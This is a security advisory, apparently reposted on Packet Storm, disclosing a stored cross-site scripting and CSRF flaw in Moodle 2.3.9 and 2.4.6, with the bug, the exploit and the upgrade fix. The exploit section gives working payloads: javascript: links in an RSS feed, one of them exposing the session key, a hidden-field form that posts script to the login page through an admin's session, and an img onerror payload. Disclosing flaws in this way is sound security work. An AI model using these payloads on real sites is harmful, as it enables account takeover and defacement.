what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Moodle 2.3.9 / 2.4.9 Javascript Insertion

Moodle 2.3.9 / 2.4.9 Javascript Insertion
Posted Sep 9, 2013
Authored by Ciaran McNally

Moodle versions 2.3.9 and below and 2.4.6 suffer from a javascript insertion vulnerability that allows for the addition of an RSS blog.

tags | exploit, javascript
SHA-256 | 6c800321ff5da86e73199561fdef96721f8bc5417e76c8a405874d08d029a1a7

Moodle 2.3.9 / 2.4.9 Javascript Insertion

Change Mirror Download
#######################################################################

Ciaran McNally

Application: Moodle
http://download.moodle.org/
Versions: <= 2.3.9, 2.4.6
Platforms: Windows, Mac, Linux
Bug: Persistant XSS / CSRF
Exploitation: WEB
Date: 9 September 2013.
Author: Ciaran McNally
Web: http://makthepla.net/blog/=/moodle-2-account-takeover
My Twitter: https://twitter.com/ciaranmak

#######################################################################

1) Bug.
2) The exploit.
3) Fix.

#######################################################################
Moodle is a Course Management System (CMS), also known as a Learning
Management System (LMS) or a Virtual Learning Environment (VLE).
It is a Free web application that educators can use to create effective
online learning sites.
#######################################################################

======
1) Bug
======
At the following URL as a student,

http://server/blog/external_blog_edit.php

It is possible to remotely add an rss blog. The <link> parameter in an
rss feed is vulnerable to javascript injection.
This blog post is viewable by everyone on moodle and you can link to it
directly. Upon clicking the "Link to original blog entry" link, you
get javascript execution.

In moodle the "sesskey" parameter holds the session key used to prevent
csrf, this isn't unique for every form once logged in so many forms can
be submitted using this item. It is available on every page which makes
xss quite dangerous in this case.

#######################################################################

==============
2) The exploit
==============

Using a link value of <link>javascript:prompt(document.domain);</link>
This will display a demonstrative prompt as expected.

For a live example you can remotely include my blog rss feed.
http://makthepla.net/Rss/
My moodle blog post has a <link> value of the following.
javascript:alert("Session key = "+M.cfg.sesskey+"\nUser ID = "+window.location.search.split("=")[1]);

This displays the session key and the current users id.


If you can get an admin to click the link and submit the following form
trough javascript, you can post xss onto the main login page of your
victim moodle site.

<input type="hidden" name="id" value="1">
<input type="hidden" name="sr" value="0">
<input type="hidden" name="sesskey" value="x">
<input type="hidden" name="_qf__editsection_form" value="1">
<input type="hidden" name="mform_isexpanded_id_generalhdr" value="1">
<input type="hidden" name="userdefaultname" value="1">
<input type="hidden" name="summary_editor[text]" value="THE FRONT PAGE DATA AND/OR XSS">
<input type="hidden" name="summary_editor[format]" value="1">
<input type="hidden" name="summary_editor[itemid]" value="">
<input type="hidden" name="submitbutton" value="Save+changes">

You can read more about this on the original blog post.
You can get xss on the main login easily using html such as
<img src=x onerror=XSS> when posting as an admin via csrf.


#######################################################################

======
3) Fix
======

https://tracker.moodle.org/browse/MDL-41623
(This requires a login to view)

Upgrade to versions 2.3.9, 2.4.6 and 2.5.2.

#######################################################################

--
maK :)

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close